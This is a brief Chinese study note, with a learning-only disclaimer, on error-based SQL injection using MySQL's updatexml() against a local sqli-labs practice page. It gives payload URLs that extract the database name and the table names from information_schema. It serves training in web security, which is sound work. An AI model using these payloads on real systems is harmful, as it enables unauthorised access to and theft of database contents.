本文为学习笔记,仅限学习交流
不得利用、从事危害国家或人民安全、荣誉和利益等活动
固定格式: Updatexml(1,concat(0×7e,b)
Updatexml(a,Xpath,b) 在文档a中,查找 Xpath 格式的内容 替换 b内容
Conact(a,b,c,…) 用来连接括号内的字符串
构造语句:union select updatexml(1,concat(0x7e,select database(),0x7e),1)
http://127.0.0.1/sqli/Less-2/index.php?id=1’
爆出数据库名:
http://127.0.0.1/sqli/Less-2/index.php?id=1 union select updatexml(1,concat(0x7e,(select database()),0x7e),1)%23
爆出当前数据库下的表名:
http://127.0.0.1/sqli/Less-2/index.php?id=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema =‘security’),0x7e),1) %23